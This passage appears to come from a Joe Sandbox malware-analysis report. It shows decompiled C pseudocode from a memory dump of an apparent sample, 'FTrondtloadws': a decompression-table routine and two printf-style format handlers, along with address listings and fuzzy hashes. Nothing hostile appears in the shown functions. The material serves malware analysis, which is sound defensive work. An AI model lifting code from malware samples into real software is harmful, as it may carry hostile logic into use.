									_t128 = _t128 - 1;
									__eflags = _t171 - 0x14;
									if(_t171 >= 0x14) {
										break;
									}
									 *(_t178 + _t171 + 0x18) = 0;
									_t171 = _t171 + 1;
									__eflags = _t128;
									if(_t128 != 0) {
										continue;
									}
									break;
								}
								_t171 = _t171 - 1;
								goto L14;
							}
							 *(_t178 + _t171 + 0x18) = 0xf;
							L14:
							_t171 = _t171 + 1;
							__eflags = _t171 - 0x14;
						} while (__eflags < 0);
						_push(0x14);
						_t114 =  *((intOrPtr*)(_t178 + 0x1e8)) + 0x3bb0;
						_push(_t114);
						_push(_t178 + 0x18);
						 *((intOrPtr*)(_t178 + 0x20)) = _t114;
						E00CD4976();
						_t172 = 0;
						__eflags = 0;
						do {
							__eflags =  *((char*)(_t175 + 8));
							if(__eflags != 0) {
								L19:
								_t70 = E00CCBC76(_t175, __eflags);
								_t71 =  *(_t114 + 0x84);
								_t165 = _t70 & 0x0000fffe;
								__eflags = _t165 -  *((intOrPtr*)(_t114 + 4 + _t71 * 4));
								if(_t165 >=  *((intOrPtr*)(_t114 + 4 + _t71 * 4))) {
									_t134 = 0xf;
									_t72 = _t71 + 1;
									 *(_t178 + 0x10) = _t134;
									__eflags = _t72 - _t134;
									if(_t72 >= _t134) {
										L27:
										_t136 =  *(_t175 + 4) +  *(_t178 + 0x10);
										 *_t175 =  *_t175 + (_t136 >> 3);
										_t75 =  *(_t178 + 0x10);
										 *(_t175 + 4) = _t136 & 0x00000007;
										_t138 = 0x10;
										_t141 =  *((intOrPtr*)(_t114 + 0x44 + _t75 * 4)) + (_t165 -  *((intOrPtr*)(_t114 + _t75 * 4)) >> _t138 - _t75);
										__eflags = _t141 -  *_t114;
										asm("sbb eax, eax");
										_t76 = _t75 & _t141;
										__eflags = _t76;
										_t77 =  *(_t114 + 0xc88 + _t76 * 2) & 0x0000ffff;
										L28:
										_t142 = 0x10;
										__eflags = _t77 - _t142;
										if(_t77 >= _t142) {
											_t168 = 0x12;
											__eflags = _t77 - _t168;
											if(__eflags >= 0) {
												_t143 = _t175;
												if(__eflags != 0) {
													_t117 = (E00CCBC71(_t143, __eflags) >> 9) + 0xb;
													__eflags = _t117;
													_push(7);
												} else {
													_t117 = (E00CCBC71(_t143, __eflags) >> 0xd) + 3;
													_push(3);
												}
												_pop(_t79);
												E00CCBC5A(_t175, _t79);
												while(1) {
													_t117 = _t117 - 1;
													__eflags = _t172 - 0x1ae;
													if(_t172 >= 0x1ae) {
														goto L46;
													}
													 *(_t178 + _t172 + 0x2c) = 0;
													_t172 = _t172 + 1;
													__eflags = _t117;
													if(_t117 != 0) {
														continue;
													}
													L44:
													_t114 =  *((intOrPtr*)(_t178 + 0x14));
													goto L45;
												}
												break;
											}
											__eflags = _t77 - _t142;
											_t153 = _t175;
											if(__eflags != 0) {
												_t124 = (E00CCBC71(_t153, __eflags) >> 9) + 0xb;
												__eflags = _t124;
												_push(7);
											} else {
												_t124 = (E00CCBC71(_t153, __eflags) >> 0xd) + 3;
												_push(3);
											}
											_pop(_t97);
											E00CCBC5A(_t175, _t97);
											__eflags = _t172;
											if(_t172 == 0) {
												L48:
												_t90 = 0;
												L50:
												return _t90;
											} else {
												while(1) {
													_t124 = _t124 - 1;
													__eflags = _t172 - 0x1ae;
													if(_t172 >= 0x1ae) {
														goto L46;
													}
													 *(_t178 + _t172 + 0x2c) =  *((intOrPtr*)(_t178 + _t172 + 0x2b));
													_t172 = _t172 + 1;
													__eflags = _t124;
													if(_t124 != 0) {
														continue;
													}
													goto L44;
												}
												break;
											}
										}
										 *(_t178 + _t172 + 0x2c) = _t77;
										_t172 = _t172 + 1;
										goto L45;
									}
									_t156 = _t114 + (_t72 + 1) * 4;
									while(1) {
										__eflags = _t165 -  *_t156;
										if(_t165 <  *_t156) {
											break;
										}
										_t72 = _t72 + 1;
										_t156 = _t156 + 4;
										__eflags = _t72 - 0xf;
										if(_t72 < 0xf) {
											continue;
										}
										goto L27;
									}
									 *(_t178 + 0x10) = _t72;
									goto L27;
								}
								_t157 = 0x10;
								_t169 = _t165 >> _t157 - _t71;
								_t160 = ( *(_t169 + _t114 + 0x88) & 0x000000ff) +  *(_t175 + 4);
								 *_t175 =  *_t175 + (_t160 >> 3);
								 *(_t175 + 4) = _t160 & 0x00000007;
								_t77 =  *(_t114 + 0x488 + _t169 * 2) & 0x0000ffff;
								goto L28;
							}
							__eflags =  *_t175 -  *((intOrPtr*)(_t177 + 0x78)) - 5;
							if(__eflags <= 0) {
								goto L19;
							}
							__eflags = E00CD5FF4(_t177);
							if(__eflags == 0) {
								goto L48;
							}
							goto L19;
							L45:
							__eflags = _t172 - 0x1ae;
						} while (_t172 < 0x1ae);
						L46:
						 *((char*)(_t177 + 0xe65a)) = 1;
						__eflags =  *((char*)(_t175 + 8));
						if( *((char*)(_t175 + 8)) != 0) {
							L49:
							_t118 =  *((intOrPtr*)(_t178 + 0x1e8));
							_push(0x132);
							_push(_t118);
							_push(_t178 + 0x2c);
							E00CD4976();
							_push(0x40);
							_push(_t118 + 0xeec);
							_push(_t178 + 0x166);
							E00CD4976();
							_t147 = 0x10;
							_push(_t147);
							_push(_t118 + 0x1dd8);
							_push(_t178 + 0x1a6);
							E00CD4976();
							_push(0x2c);
							_push(_t118 + 0x2cc4);
							_push(_t178 + 0x1b6);
							E00CD4976();
							_t90 = 1;
							goto L50;
						}
						__eflags =  *_t175 -  *((intOrPtr*)(_t177 + 0x78));
						if( *_t175 <=  *((intOrPtr*)(_t177 + 0x78))) {
							goto L49;
						}
						goto L48;
					}
					__eflags =  *_t175 -  *((intOrPtr*)(__ecx + 0x78)) - 0x19;
					if( *_t175 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
						goto L5;
					}
					_t108 = E00CD5FF4(__ecx);
					__eflags = _t108;
					if(_t108 == 0) {
						goto L48;
					}
					goto L5;
				}
				return 1;
			}

0x00cd558f
0x00cd5591
0x00cd559c
0x00cd55a4
0x00cd55a8
0x00cd55c1
0x00cd55c1
0x00cd55c1
0x00cd55c3
0x00cd55d0
0x00cd55d3
0x00cd55d8
0x00cd55db
0x00cd5614
0x00000000
0x00cd5614
0x00cd55eb
0x00cd55ee
0x00cd55f3
0x00cd55f5
0x00cd55fe
0x00cd55fe
0x00cd5601
0x00cd5601
0x00cd5602
0x00cd5605
0x00000000
0x00000000
0x00cd5607
0x00cd560c
0x00cd560d
0x00cd560f
0x00000000
0x00000000
0x00000000
0x00cd560f
0x00cd5611
0x00000000
0x00cd5611
0x00cd55f7
0x00cd5618
0x00cd5618
0x00cd5619
0x00cd5619
0x00cd5629
0x00cd562b
0x00cd5633
0x00cd5634
0x00cd5635
0x00cd5639
0x00cd563e
0x00cd563e
0x00cd5640
0x00cd5640
0x00cd5644
0x00cd565f
0x00cd5661
0x00cd5668
0x00cd566e
0x00cd5674
0x00cd5678
0x00cd56a5
0x00cd56a6
0x00cd56a7
0x00cd56ab
0x00cd56ad
0x00cd56c8
0x00cd56cb
0x00cd56d7
0x00cd56d9
0x00cd56dd
0x00cd56e2
0x00cd56ee
0x00cd56f0
0x00cd56f2
0x00cd56f4
0x00cd56f4
0x00cd56f6
0x00cd56fe
0x00cd5700
0x00cd5701
0x00cd5704
0x00cd5712
0x00cd5713
0x00cd5716
0x00cd5764
0x00cd5766
0x00cd5783
0x00cd5783
0x00cd5786
0x00cd5768
0x00cd5772
0x00cd5775
0x00cd5775
0x00cd5788
0x00cd578c
0x00cd5791
0x00cd5791
0x00cd5792
0x00cd5798
0x00000000
0x00000000
0x00cd579a
0x00cd579f
0x00cd57a0
0x00cd57a2
0x00000000
0x00000000
0x00cd57a4
0x00cd57a4
0x00000000
0x00cd57a4
0x00000000
0x00cd5791
0x00cd5718
0x00cd571b
0x00cd571d
0x00cd573a
0x00cd573a
0x00cd573d
0x00cd571f
0x00cd5729
0x00cd572c
0x00cd572c
0x00cd573f
0x00cd5743
0x00cd5748
0x00cd574a
0x00cd57c8
0x00cd57c8
0x00cd5831
0x00000000
0x00cd574c
0x00cd574c
0x00cd574c
0x00cd574d
0x00cd5753
0x00000000
0x00000000
0x00cd5759
0x00cd575d
0x00cd575e
0x00cd5760
0x00000000
0x00000000
0x00000000
0x00cd5762
0x00000000
0x00cd574c
0x00cd574a
0x00cd5706
0x00cd570a
0x00000000
0x00cd570a
0x00cd56b2
0x00cd56b5
0x00cd56b5
0x00cd56b7
0x00000000
0x00000000
0x00cd56b9
0x00cd56ba
0x00cd56bd
0x00cd56c0
0x00000000
0x00000000
0x00000000
0x00cd56c2
0x00cd56c4
0x00000000
0x00cd56c4
0x00cd567c
0x00cd567f
0x00cd5689
0x00cd5691
0x00cd5696
0x00cd5699
0x00000000
0x00cd5699
0x00cd564c
0x00cd564e
0x00000000
0x00000000
0x00cd5657
0x00cd5659
0x00000000
0x00000000
0x00000000
0x00cd57a8
0x00cd57a8
0x00cd57a8
0x00cd57b4
0x00cd57b4
0x00cd57bb
0x00cd57bf
0x00cd57cc
0x00cd57cc
0x00cd57d7
0x00cd57dc
0x00cd57dd
0x00cd57e0
0x00cd57e5
0x00cd57ef
0x00cd57f7
0x00cd57f8
0x00cd57ff
0x00cd5800
0x00cd5809
0x00cd5811
0x00cd5812
0x00cd5817
0x00cd581f
0x00cd5827
0x00cd582a
0x00cd582f
0x00000000
0x00cd582f
0x00cd57c3
0x00cd57c6
0x00000000
0x00000000
0x00000000
0x00cd57c6
0x00cd55b0
0x00cd55b2
0x00000000
0x00000000
0x00cd55b4
0x00cd55b9
0x00cd55bb
0x00000000
0x00000000
0x00000000
0x00cd55bb
0x00000000

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68e6acee6c9f498f5e15989f60e614e6aa36cc50bb8c8e6a6afc36a9cff0e6f1
Instruction ID: 1ada991026f5fce7f17cdcceb69308408a20c736d33071a67bc3cb7bc33716b5
Opcode Fuzzy Hash: 68e6acee6c9f498f5e15989f60e614e6aa36cc50bb8c8e6a6afc36a9cff0e6f1
Instruction Fuzzy Hash: 27813771304B419FEB24DE68D8D1BBE37D59BA0304F10092FFB968B382DB64C9869751

Uniqueness

Uniqueness Score: -1.00%

Function 00CE6327 Relevance: .2, Instructions: 237
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 84%

			E00CE6327(void* __ecx, void* __edi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __esi;
				signed int _t52;
				signed int _t54;
				signed int _t55;
				void* _t56;
				signed int _t57;
				signed char _t60;
				signed char _t62;
				signed int _t64;
				void* _t65;
				signed int _t66;
				signed char _t75;
				signed char _t78;
				void* _t86;
				void* _t88;
				signed char _t90;
				signed char _t92;
				signed int _t93;
				signed int _t95;
				signed int _t97;
				signed int _t98;
				signed int _t101;
				void* _t103;
				signed int _t109;
				unsigned int _t111;
				signed char _t113;
				unsigned int _t121;
				void* _t122;
				signed int _t123;
				short _t124;
				void* _t127;
				void* _t128;
				void* _t129;
				signed int _t130;
				void* _t131;
				void* _t133;
				void* _t134;

				_t122 = __edi;
				_t52 =  *0xd007a8; // 0x763902cb
				_v8 = _t52 ^ _t130;
				_t129 = __ecx;
				_t101 = 0;
				_t121 = 0x41;
				_t54 =  *(__ecx + 0x32) & 0x0000ffff;
				_t103 = 0x58;
				_t133 = _t54 - 0x64;
				if(_t133 > 0) {
					__eflags = _t54 - 0x70;
					if(__eflags > 0) {
						_t55 = _t54 - 0x73;
						__eflags = _t55;
						if(_t55 == 0) {
							L9:
							_t56 = E00CE6D59(_t129);
							L10:
							if(_t56 != 0) {
								__eflags =  *((intOrPtr*)(_t129 + 0x30)) - _t101;
								if( *((intOrPtr*)(_t129 + 0x30)) != _t101) {
									L71:
									_t57 = 1;
									L72:
									return E00CE0BCC(_t57, _t101, _v8 ^ _t130, _t121, _t122, _t129);
								}
								_t121 =  *(_t129 + 0x20);
								_push(_t122);
								_v16 = _t101;
								_t60 = _t121 >> 4;
								_v12 = _t101;
								_t123 = 0x20;
								__eflags = 1 & _t60;
								if((1 & _t60) == 0) {
									L46:
									_t109 =  *(_t129 + 0x32) & 0x0000ffff;
									__eflags = _t109 - 0x78;
									if(_t109 == 0x78) {
										L48:
										_t62 = _t121 >> 5;
										__eflags = _t62 & 0x00000001;
										if((_t62 & 0x00000001) == 0) {
											L50:
											__eflags = 0;
											L51:
											__eflags = _t109 - 0x61;
											if(_t109 == 0x61) {
												L54:
												_t64 = 1;
												L55:
												_t124 = 0x30;
												__eflags = _t64;
												if(_t64 != 0) {
													L57:
													_t65 = 0x58;
													 *((short*)(_t130 + _t101 * 2 - 0xc)) = _t124;
													__eflags = _t109 - _t65;
													if(_t109 == _t65) {
														L60:
														_t66 = 1;
														L61:
														__eflags = _t66;
														asm("cbw");
														 *((short*)(_t130 + _t101 * 2 - 0xa)) = ((_t66 & 0xffffff00 | _t66 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x78;
														_t101 = _t101 + 2;
														__eflags = _t101;
														L62:
														_t127 =  *((intOrPtr*)(_t129 + 0x24)) -  *((intOrPtr*)(_t129 + 0x38)) - _t101;
														__eflags = _t121 & 0x0000000c;
														if((_t121 & 0x0000000c) == 0) {
															E00CE55EE(_t129 + 0x448, 0x20, _t127, _t129 + 0x18);
															_t131 = _t131 + 0x10;
														}
														E00CE7074(_t129 + 0x448,  &_v16, _t101, _t129 + 0x18,  *((intOrPtr*)(_t129 + 0xc)));
														_t111 =  *(_t129 + 0x20);
														_t101 = _t129 + 0x18;
														_t75 = _t111 >> 3;
														__eflags = _t75 & 0x00000001;
														if((_t75 & 0x00000001) != 0) {
															_t113 = _t111 >> 2;
															__eflags = _t113 & 0x00000001;
															if((_t113 & 0x00000001) == 0) {
																E00CE55EE(_t129 + 0x448, 0x30, _t127, _t101);
																_t131 = _t131 + 0x10;
															}
														}
														E00CE6F56(_t129, 0);
														__eflags =  *_t101;
														if( *_t101 >= 0) {
															_t78 =  *(_t129 + 0x20) >> 2;
															__eflags = _t78 & 0x00000001;
															if((_t78 & 0x00000001) != 0) {
																E00CE55EE(_t129 + 0x448, 0x20, _t127, _t101);
															}
														}
														_pop(_t122);
														goto L71;
													}
													_t86 = 0x41;
													__eflags = _t109 - _t86;
													if(_t109 == _t86) {
														goto L60;
													}
													_t66 = 0;
													goto L61;
												}
												__eflags = _t64;
												if(_t64 == 0) {
													goto L62;
												}
												goto L57;
											}
											_t128 = 0x41;
											__eflags = _t109 - _t128;
											if(_t109 == _t128) {
												goto L54;
											}
											_t64 = 0;
											goto L55;
										}
										goto L51;
									}
									_t88 = 0x58;
									__eflags = _t109 - _t88;
									if(_t109 != _t88) {
										goto L50;
									}
									goto L48;
								}
								_t90 = _t121 >> 6;
								__eflags = 1 & _t90;
								if((1 & _t90) == 0) {
									__eflags = 1 & _t121;
									if((1 & _t121) == 0) {
										_t92 = _t121 >> 1;
										__eflags = 1 & _t92;
										if((1 & _t92) == 0) {
											goto L46;
										}
										_v16 = _t123;
										L45:
										_t101 = 1;
										goto L46;
									}
									_push(0x2b);
									L40:
									_pop(_t93);
									_v16 = _t93;
									goto L45;
								}
								_push(0x2d);
								goto L40;
							}
							L11:
							_t57 = 0;
							goto L72;
						}
						_t95 = _t55;
						__eflags = _t95;
						if(__eflags == 0) {
							L28:
							_push(_t101);
							_push(0xa);
							L29:
							_t56 = E00CE6AF1(_t129, _t122, __eflags);
							goto L10;
						}
						__eflags = _t95 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t56 = E00CE6CCE(__ecx);
						goto L10;
					}
					__eflags = _t54 - 0x67;
					if(_t54 <= 0x67) {
						L30:
						_t56 = E00CE6857(_t101, _t129);
						goto L10;
					}
					__eflags = _t54 - 0x69;
					if(_t54 == 0x69) {
						L27:
						_t3 = _t129 + 0x20;
						 *_t3 =  *(_t129 + 0x20) | 0x00000010;
						__eflags =  *_t3;
						goto L28;
					}
					__eflags = _t54 - 0x6e;
					if(_t54 == 0x6e) {
						_t56 = E00CE6C3B(__ecx, _t121);
						goto L10;
					}
					__eflags = _t54 - 0x6f;
					if(_t54 != 0x6f) {
						goto L11;
					}
					_t56 = E00CE6CAF(__ecx);
					goto L10;
				}
				if(_t133 == 0) {
					goto L27;
				}
				_t134 = _t54 - _t103;
				if(_t134 > 0) {
					_t97 = _t54 - 0x5a;
					__eflags = _t97;
					if(_t97 == 0) {
						_t56 = E00CE669A(__ecx);
						goto L10;
					}
					_t98 = _t97 - 7;
					__eflags = _t98;
					if(_t98 == 0) {
						goto L30;
					}
					__eflags = _t98;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t56 = E00CE6A59(_t129, __eflags, _t101);
					goto L10;
				}
				if(_t134 == 0) {
					_push(1);
					goto L13;
				}
				if(_t54 == _t121) {
					goto L30;
				}
				if(_t54 == 0x43) {
					goto L17;
				}
				if(_t54 <= 0x44) {
					goto L11;
				}
				if(_t54 <= 0x47) {
					goto L30;
				}
				if(_t54 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00ce6327
0x00ce632f
0x00ce6336
0x00ce633b
0x00ce633d
0x00ce6341
0x00ce6344
0x00ce6348
0x00ce6349
0x00ce634c
0x00ce63b9
0x00ce63bc
0x00ce640b
0x00ce640b
0x00ce640e
0x00ce637a
0x00ce637c
0x00ce6381
0x00ce6383
0x00ce6429
0x00ce642c
0x00ce6572
0x00ce6572
0x00ce6574
0x00ce6583
0x00ce6583
0x00ce6432
0x00ce6437
0x00ce643a
0x00ce643d
0x00ce6441
0x00ce6447
0x00ce6448
0x00ce644a
0x00ce6474
0x00ce6474
0x00ce6478
0x00ce647b
0x00ce6485
0x00ce6487
0x00ce648a
0x00ce648c
0x00ce6492
0x00ce6492
0x00ce6494
0x00ce6494
0x00ce6497
0x00ce64a5
0x00ce64a5
0x00ce64a7
0x00ce64a9
0x00ce64aa
0x00ce64ac
0x00ce64b2
0x00ce64b4
0x00ce64b5
0x00ce64ba
0x00ce64bd
0x00ce64cb
0x00ce64cb
0x00ce64cd
0x00ce64cd
0x00ce64d8
0x00ce64da
0x00ce64df
0x00ce64df
0x00ce64e2
0x00ce64e8
0x00ce64ea
0x00ce64ed
0x00ce64fd
0x00ce6502
0x00ce6502
0x00ce6517
0x00ce651c
0x00ce651f
0x00ce6524
0x00ce6527
0x00ce6529
0x00ce652b
0x00ce652e
0x00ce6531
0x00ce653e
0x00ce6543
0x00ce6543
0x00ce6531
0x00ce654a
0x00ce654f
0x00ce6552
0x00ce6557
0x00ce655a
0x00ce655c
0x00ce6569
0x00ce656e
0x00ce655c
0x00ce6571
0x00000000
0x00ce6571
0x00ce64c1
0x00ce64c2
0x00ce64c5
0x00000000
0x00000000
0x00ce64c7
0x00000000
0x00ce64c7
0x00ce64ae
0x00ce64b0
0x00000000
0x00000000
0x00000000
0x00ce64b0
0x00ce649b
0x00ce649c
0x00ce649f
0x00000000
0x00000000
0x00ce64a1
0x00000000
0x00ce64a1
0x00000000
0x00ce648e
0x00ce647f
0x00ce6480
0x00ce6483
0x00000000
0x00000000
0x00000000
0x00ce6483
0x00ce644e
0x00ce6451
0x00ce6453
0x00ce645e
0x00ce6460
0x00ce6468
0x00ce646a
0x00ce646c
0x00000000
0x00000000
0x00ce646e
0x00ce6472
0x00ce6472
0x00000000
0x00ce6472
0x00ce6462
0x00ce6457
0x00ce6457
0x00ce6458
0x00000000
0x00ce6458
0x00ce6455
0x00000000
0x00ce6455
0x00ce6389
0x00ce6389
0x00000000
0x00ce6389
0x00ce6415
0x00ce6415
0x00ce6418
0x00ce63ea
0x00ce63ea
0x00ce63eb
0x00ce63ed
0x00ce63ef
0x00000000
0x00ce63ef
0x00ce641a
0x00ce641d
0x00000000
0x00000000
0x00ce6423
0x00ce6392
0x00ce6392
0x00000000
0x00ce6392
0x00ce63be
0x00ce6401
0x00000000
0x00ce6401
0x00ce63c0
0x00ce63c3
0x00ce63f6
0x00ce63f8
0x00000000
0x00ce63f8
0x00ce63c5
0x00ce63c8
0x00ce63e6
0x00ce63e6
0x00ce63e6
0x00ce63e6
0x00000000
0x00ce63e6
0x00ce63ca
0x00ce63cd
0x00ce63df
0x00000000
0x00ce63df
0x00ce63cf
0x00ce63d2
0x00000000
0x00000000
0x00ce63d6
0x00000000
0x00ce63d6
0x00ce634e
0x00000000
0x00000000
0x00ce6354
0x00ce6356
0x00ce6396
0x00ce6396
0x00ce6399
0x00ce63b2
0x00000000
0x00ce63b2
0x00ce639b
0x00ce639b
0x00ce639e
0x00000000
0x00000000
0x00ce63a1
0x00ce63a4
0x00000000
0x00000000
0x00ce63a6
0x00ce63a9
0x00000000
0x00ce63a9
0x00ce6358
0x00ce6390
0x00000000
0x00ce6390
0x00ce635c
0x00000000
0x00000000
0x00ce6365
0x00000000
0x00000000
0x00ce636a
0x00000000
0x00000000
0x00ce636f
0x00000000
0x00000000
0x00ce6378
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a28fe0e017cbc4082917c7caa0952aa410e5361f7cf112a881ee7752cbe3939
Instruction ID: 485eb4b7325212c6d79efca9b1add4bc570dbf2b70c30706112751692643be4b
Opcode Fuzzy Hash: 0a28fe0e017cbc4082917c7caa0952aa410e5361f7cf112a881ee7752cbe3939
Instruction Fuzzy Hash: E16198716307C9A6DF38CA2B88967FE2394EB713C4F20051AE8A3DB2E1D615EF419355

Uniqueness

Uniqueness Score: -1.00%

Function 00CE60F8 Relevance: .2, Instructions: 214
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 88%

			E00CE60F8(void* __ecx) {
				char _v6;
				char _v8;
				void* __ebx;
				void* __edi;
				char _t49;
				signed int _t50;
				void* _t51;
				signed char _t54;
				signed char _t56;
				signed int _t57;
				signed int _t58;
				signed char _t67;
				signed char _t69;
				signed char _t71;
				signed char _t80;
				signed char _t82;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed char _t92;
				void* _t95;
				intOrPtr _t100;
				unsigned int _t102;
				signed char _t104;
				void* _t112;
				unsigned int _t113;
				void* _t114;
				signed int _t115;
				signed int* _t116;
				void* _t119;
				void* _t121;
				void* _t122;
				void* _t124;
				void* _t125;

				_push(__ecx);
				_t119 = __ecx;
				_t92 = 1;
				_t49 =  *((char*)(__ecx + 0x31));
				_t124 = _t49 - 0x64;
				if(_t124 > 0) {
					__eflags = _t49 - 0x70;
					if(__eflags > 0) {
						_t50 = _t49 - 0x73;
						__eflags = _t50;
						if(_t50 == 0) {
							L9:
							_t51 = E00CE6CE6(_t119);
							L10:
							if(_t51 != 0) {
								__eflags =  *((char*)(_t119 + 0x30));
								if( *((char*)(_t119 + 0x30)) == 0) {
									_t113 =  *(_t119 + 0x20);
									_push(_t114);
									_v8 = 0;
									_t115 = 0;
									_v6 = 0;
									_t54 = _t113 >> 4;
									__eflags = _t92 & _t54;
									if((_t92 & _t54) == 0) {
										L46:
										_t100 =  *((intOrPtr*)(_t119 + 0x31));
										__eflags = _t100 - 0x78;
										if(_t100 == 0x78) {
											L48:
											_t56 = _t113 >> 5;
											__eflags = _t92 & _t56;
											if((_t92 & _t56) != 0) {
												L50:
												__eflags = _t100 - 0x61;
												if(_t100 == 0x61) {
													L53:
													_t57 = 1;
													L54:
													__eflags = _t92;
													if(_t92 != 0) {
														L56:
														 *((char*)(_t121 + _t115 - 4)) = 0x30;
														__eflags = _t100 - 0x58;
														if(_t100 == 0x58) {
															L59:
															_t58 = 1;
															L60:
															__eflags = _t58;
															 *((char*)(_t121 + _t115 - 3)) = ((_t58 & 0xffffff00 | _t58 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x78;
															_t115 = _t115 + 2;
															__eflags = _t115;
															L61:
															_t95 =  *((intOrPtr*)(_t119 + 0x24)) -  *((intOrPtr*)(_t119 + 0x38)) - _t115;
															__eflags = _t113 & 0x0000000c;
															if((_t113 & 0x0000000c) == 0) {
																E00CE55C2(_t119 + 0x448, 0x20, _t95, _t119 + 0x18);
																_t122 = _t122 + 0x10;
															}
															E00CE6FE1(_t119 + 0x448,  &_v8, _t115, _t119 + 0x18,  *((intOrPtr*)(_t119 + 0xc)));
															_t102 =  *(_t119 + 0x20);
															_t116 = _t119 + 0x18;
															_t67 = _t102 >> 3;
															__eflags = _t67 & 0x00000001;
															if((_t67 & 0x00000001) != 0) {
																_t104 = _t102 >> 2;
																__eflags = _t104 & 0x00000001;
																if((_t104 & 0x00000001) == 0) {
																	E00CE55C2(_t119 + 0x448, 0x30, _t95, _t116);
																	_t122 = _t122 + 0x10;
																}
															}
															E00CE6EAF(_t119, _t113, 0);
															__eflags =  *_t116;
															if( *_t116 >= 0) {
																_t71 =  *(_t119 + 0x20) >> 2;
																__eflags = _t71 & 0x00000001;
																if((_t71 & 0x00000001) != 0) {
																	E00CE55C2(_t119 + 0x448, 0x20, _t95, _t116);
																}
															}
															_t69 = 1;
															L70:
															return _t69;
														}
														__eflags = _t100 - 0x41;
														if(_t100 == 0x41) {
															goto L59;
														}
														_t58 = 0;
														goto L60;
													}
													__eflags = _t57;
													if(_t57 == 0) {
														goto L61;
													}
													goto L56;
												}
												__eflags = _t100 - 0x41;
												if(_t100 == 0x41) {
													goto L53;
												}
												_t57 = 0;
												goto L54;
											}
											L49:
											_t92 = 0;
											__eflags = 0;
											goto L50;
										}
										__eflags = _t100 - 0x58;
										if(_t100 != 0x58) {
											goto L49;
										}
										goto L48;
									}
									_t80 = _t113 >> 6;
									__eflags = _t92 & _t80;
									if((_t92 & _t80) == 0) {
										__eflags = _t92 & _t113;
										if((_t92 & _t113) == 0) {
											_t82 = _t113 >> 1;
											__eflags = _t92 & _t82;
											if((_t92 & _t82) == 0) {
												goto L46;
											}
											_v8 = 0x20;
											L45:
											_t115 = _t92;
											goto L46;
										}
										_v8 = 0x2b;
										goto L45;
									}
									_v8 = 0x2d;
									goto L45;
								}
								_t69 = _t92;
								goto L70;
							}
							L11:
							_t69 = 0;
							goto L70;
						}
						_t84 = _t50;
						__eflags = _t84;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t51 = E00CE6AF1(_t119, _t114, __eflags);
							goto L10;
						}
						__eflags = _t84 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t51 = E00CE6CCE(__ecx);
						goto L10;
					}
					__eflags = _t49 - 0x67;
					if(_t49 <= 0x67) {
						L30:
						_t51 = E00CE66FD(_t92, _t119, _t112);
						goto L10;
					}
					__eflags = _t49 - 0x69;
					if(_t49 == 0x69) {
						L27:
						_t2 = _t119 + 0x20;
						 *_t2 =  *(_t119 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t49 - 0x6e;
					if(_t49 == 0x6e) {
						_t51 = E00CE6C3B(__ecx, _t112);
						goto L10;
					}
					__eflags = _t49 - 0x6f;
					if(_t49 != 0x6f) {
						goto L11;
					}
					_t51 = E00CE6CAF(__ecx);
					goto L10;
				}
				if(_t124 == 0) {
					goto L27;
				}
				_t125 = _t49 - 0x58;
				if(_t125 > 0) {
					_t86 = _t49 - 0x5a;
					__eflags = _t86;
					if(_t86 == 0) {
						_t51 = E00CE6637(__ecx);
						goto L10;
					}
					_t87 = _t86 - 7;
					__eflags = _t87;
					if(_t87 == 0) {
						goto L30;
					}
					__eflags = _t87;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t51 = E00CE69C9(_t92, _t119, __eflags, 0);
					goto L10;
				}
				if(_t125 == 0) {
					_push(1);
					goto L13;
				}
				if(_t49 == 0x41) {
					goto L30;
				}
				if(_t49 == 0x43) {
					goto L17;
				}
				if(_t49 <= 0x44) {
					goto L11;
				}
				if(_t49 <= 0x47) {
					goto L30;
				}
				if(_t49 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00ce60fd
0x00ce6100
0x00ce6104
0x00ce6107
0x00ce610b
0x00ce610e
0x00ce617c
